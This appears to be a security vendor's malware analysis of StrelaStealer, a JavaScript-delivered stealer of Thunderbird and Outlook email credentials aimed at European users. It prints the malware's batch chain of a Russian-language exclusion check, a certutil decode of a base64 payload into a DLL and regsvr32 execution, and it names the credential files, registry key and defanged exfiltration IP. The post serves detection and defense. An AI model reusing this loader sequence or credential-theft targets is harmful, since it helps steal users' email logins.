

StrelaStealer Resurgence: Tracking a JavaScript-Driven Credential Stealer Targeting Europe

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Security News

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The SonicWall Capture Labs threat research team has been tracking StrelaStealer for a long time. Recently, in the third week of June, we observed a huge spike in JavaScript spreading StrelaStealer. StrelaStealer specifically steals Outlook and Thunderbird email credentials. The infection chain looks like previous versions of StrelaStealer except major checks have been added to avoid infecting systems in Russia. We are continuing to observe its target regions limited to Poland, Spain, Italy and Germany.

The Initial infection vector is an obfuscated JavaScript file that is sent to the victim through emails in archive files. The JavaScript file drops a self-copy at “C:\Users*<Username>*” location with random names like “*needlereportcreepy.bat*”. The bat file is then executed to check the language of the operating system and to exclude Russian users from infection by the stealer. Upon confirmation of non-Russian users using OSLanguage code “1049”, the base64-encoded PE file is dropped in the same directory with a random name (here, *duckquixoticextra-small*) and no extension. This base64-encoded data is then decoded and a DLL with some random name (here, *bellpeeeight.ico*) is dropped. The DLL is then executed using *regsvr32.exe*.

```
cd userprofile &echo fieldlavishdirty
wmic path win32_operatingsystem get oslanguage | find /i "1049" &echo fieldlavishdirty
if not errorlevel 1 (exit) &echo fieldlavishdirty
findstr /V fieldlavishdirty "0" > duckquixoticextra-small
certutil -f -decode duckquixoticextra-small bellpeeeight.ico &echo fieldlavishdirty
powershell regsvr32 bellpeeeight.ico &echo fieldlavishdirty
```

Checks for Russian OS Language

Executing dll using regsvr32

Figure 1: Checks for OSLanguage

The DLL has highly obfuscated code – the same as what we have observed in recent StrelaStealer binaries. This loader DLL then decrypts the actual PE file from its data section and injects it into the current process.

All the necessary APIs needed for stealer functionality are loaded dynamically. The stealer first checks for the keyboard layout of the system using the GetKeyboardLayout() API.

FF15 E8F70000	call qword ptr ds:[&GetKeyboardLayout< >]	Code	Language
C74424 20 07040A04	mov dword ptr ss:[rsp+20],40A407	40A	es-ES (Spain)
33C9	xor ecx,ecx	407	De-DE (Germany)
48:8BD0	mov rdx,rax	403	ca-ES (Spain)
C74424 24 0A0C0304	mov dword ptr ss:[rsp+24],403C0A	C0A	Es-ES (Spain)
B8 15040000	mov eax,415	415	PL-PL (Poland)
C74424 28 2D041004	mov dword ptr ss:[rsp+28],41042D	410	It-IT (Italy)
66:894424 2C	mov word ptr ss:[rsp+2C],ax	42D	Eu-ES (Spain)
48:8D4424 20	lea rax,qword ptr ss:[rsp+20]		
0F1F40 00	nop dword ptr ds:[rax],eax		
66:3B10	cmp dx,word ptr ds:[rax]		
74 15	jje 2431B7A		
FFC1	inc ecx		
48:83C0 02	add rax,2		
83F9 07	cmp ecx,7		
72 F0	jnb 2431B60		

Figure 2: Checks GetKeyboardLayout

It checks for multiple language codes including 0x0C0A(Spanish-Spain), 0x042D(Basque-Spain), 0x0415(Polish-Poland), 0x0403(Catalan-Spain), 0x040A(Spanish-Spain), 0x0410(Italian-Italy), 0x0407(German-Germany) to detect the geo location of the system.

The main stealing functionality starts with the Mozilla Thunderbird email client. It checks for the presence of *logins.json* and *key4.db* at the directory `IC:\Users\Jay\AppData\Roaming\Thunderbird\Profiles` . If found, the data is sent to the IP [http://45.9.74\[:1176/](http://45.9.74[:1176/).

Next, it checks for the presence of the registry key `"SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676"`. The information about email accounts is stored in subfolders under this key. All of this information is retrieved by enumerating the registry key. The information is then sent to the same IP address.

More information about StrelaStealer can be found in our [previous blog](#).

IOCs

SHA256:

0f069016bc5c9347099589c103c8617e716ad301c3b83b69b5ebd11ef623cf78

a4cd72aea29e992fcd8f08370f3a7c9333458535b86c9a11a1fff20299f837e6

f2afca709e2973f2733887e401c903580e1ffe4d4ae6d7ea28cc5a6149ba4b96

2385a4dcf8076eb51ad6893624d36ba49beac92f1e681297afbb89cd5be46c57

b36fee8895bd828a42a166488b4a2574a232726d89153e3e37fe4382020f7800

00e7bdaa8ff895b3b82a0b9cc8ba1971d6401e9cf575ec44a5bc3adc6bfd0771

IPs

45.9.74[.]176

Security News



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